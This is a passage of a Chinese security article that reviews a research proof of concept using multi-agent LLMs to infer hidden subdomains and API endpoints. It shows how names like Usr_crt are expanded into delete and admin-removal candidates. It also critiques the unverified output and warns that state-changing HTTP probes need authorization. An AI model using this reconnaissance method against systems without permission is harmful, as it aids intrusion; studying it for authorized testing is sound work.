Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">Agent 2 再为每个槽位准备候选：产品可以是 mac、ipad、iphone、watch；区域和集群编号按同样格式变化；最后组合成结构一致的新名字。</span></span></p><p cid="n592" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/h0hlig.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="结构化子域名推断模式" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000427" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=e235a90b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMBzteDUiasS6KmYrQaicW4JwEJ1ykPNLu3l7FyeqndyYaU9Fgl2rQbwIWZXyEyQaR9zcicrgX2icZOt2fzVzia9nxgDiavjmUCCv2k24%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n593" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/yg3bq7.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="把子域名拆成符号槽位" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000430" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=9fd10b1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMDcsKPKHWVW7pnGYHZNbF0IUnVlHX5CzBNib6UxR5VEJ02MPvcCnKniah1N0iaicCia3kdo2y14pSIpRqnV6ABmibogQo1IkgOibXUof8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n594" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这种方法特别适合多地域 SaaS、云集群、灾备、测试环境和带编号的历史资产——它不只是在替换单词，而是试图还原基础设施命名模板。</span></span></p><p cid="n595" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">但 Apple 案例仍然只是结构演示。报告第 91 页生成了 200 个组合，没证明其中任何一个在 DNS 中真实存在。流程的最后一步必须回到传统工具：DNS 解析、HTTP 探测和启发式评分。</span></span></p><p cid="n596" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/jtvqsm.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="子域候选仍需 DNS 与 HTTP 验证" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000431" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=d6a0c11b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMCV1csjw6dBymCEmJTT6WsEoOOa3WDfqAtS8ljCgkicQkon3aSqIkRnoUYlFiagWh1FzdENj0NRySh28OlVoASjh94ibpQcvDG7hQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><h3 cid="n597" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">0x3：从一个 API 反推整套接口族</span></span></h3><p cid="n598" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第四种模式回到同一命名思路，演示中加入版本前缀 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/v2/Usr_crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">。</span></span></p><p cid="n599" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">系统先识别：</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">/api/v2/</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 是版本化前缀、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 可能是 User、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">crt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 可能是 create、命名样式是 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Entity_action</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、用户想找的是&#34;删除用户&#34;。</span></span></p><p cid="n600" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/zhojay.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="语义化 API 发现模式" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000434" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=0a549193&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMC5Qs4dibowBAEAKX3FzVccOwfMH09HhMmnMXoFWXHAtia4cEeDjlSSxIAZgLnyQbo0T966bRgDvHXG40rzmRoyxJTQZc7JfGolE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n601" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">Agent 1 把这些推断整理成结构化数据，Agent 2 再生成 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_del</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Usr_dlt</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Adm_rmv</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">、</span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">Mem_term</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 等不同实体和动作组合。</span></span></p><p cid="n602" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/d2843c.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="把 Usr_crt 拆成实体、动作与命名风格" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000433" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2a8700d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8qOq10zFicMANt9pvSAzLCQCHYibo5deTfQalXbND5cY7ezF3dmRp6Yrj7RcXELMKjmhI890Jymw4wfJtjZmwicAt03JXuMfTfJNia3csULEocc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n603" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第 98 页设想的 Validator Agent，会尝试不同 HTTP 方法、采集响应与元数据、返回 confidence。</span></span></p><p cid="n604" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="image" data-src="https://p.ipic.vip/y7m0i6.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;display: inline-block;width: 800px;" data-nest-level="3"><span leaf="" data-nest-level="4"><img alt="API 候选的验证思路" class="rich_pages wxw-img" data-ratio="0.562962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px 4px 0px 2px;border-style: none solid;border-color: currentcolor transparent;border-image: none 100% / 1 / 0 stretch;vertical-align: middle;max-width: 100%;image-orientation: from-image;cursor: default;display: block;margin: auto;height: auto !important;" data-imgfileid="100000432" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=84c71a36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F8qOq10zFicMBxuthZrIaoxNTLNicJkWHo1kL9EvHqjzjRyiaic8PlianRI2tYW2wrI2YtHaNd9XqVHkGWgSZUauhCps9Iiaibpw1X4z0DjmDDk65oY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><p cid="n605" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">这里有个实战边界必须加粗：</span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">POST、PUT、DELETE 可能真实修改数据。</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 护网或渗透测试中，别因为 Agent 给了一个候选就自动轮询所有状态变更方法。优先用经授权的只读探测；即使是 GET、HEAD、OPTIONS 也不能假定绝对无副作用。涉及写入、删除、批量操作的，只能在明确授权、可回滚和隔离数据条件下验证。</span></span></p><p cid="n606" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">第 99 页终端演示生成了 288 个 API 名称，没展示任何一个真实有效。截图里还出现 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">v156</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 到 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;" data-nest-level="4"><span leaf="" data-nest-level="5">v200</span></code></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4"> 这类低先验版本号，以及大量实体、动作的机械组合——当前生成器会把&#34;结构一致&#34;误当成&#34;业务上合理&#34;。288 是原始候选数，其中相当一部分甚至不是高质量候选，更不是接口数或漏洞数。</span></span></p><hr style="box-sizing: content-box;height: 2px;margin: 16px 0px;border: 0px;padding: 0px;background-color: rgb(231, 231, 231);overflow: hidden;"/><h2 cid="n608" mdtype="heading" style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">我顺手翻了当前 PoC：离&#34;自动发现&#34;还差五个坑</span></span></h2><p cid="n609" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">幻灯片讲的是研究设想，GitHub 上公开的是 proof of concept。两码事。</span></span></p><p cid="n610" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">截至本文整理时，仓库明确写着：这是研究型 PoC，结果可能不一致，生产测试要和传统方法结合；README 对自有本地模型的评价是 Poor / Demo testing only，默认反而推荐商业云模型。</span></span></p><p cid="n611" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(0, 122, 255);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;text-decoration-thickness: auto;text-decoration-style: solid;" data-nest-level="2"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">为避免仓库后续更新导致结论漂移，代码核对时间固定为 </span></span><span md-inline="strong" style="box-sizing: border-box;" data-nest-level="3"><strong style="box-sizing: border-box;" data-nest-level="4"><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="5"><span leaf="" data-nest-level="6">2026 年 7 月 14 日</span></span></strong></span><span md-inline="plain" style="box-sizing: border-box;" data-nest-level="3"><span leaf="" data-nest-level="4">，当时 </span></span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;" data-nest-level="3"><code style="box-sizing: border-box;font-family: var(--monospace);text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: 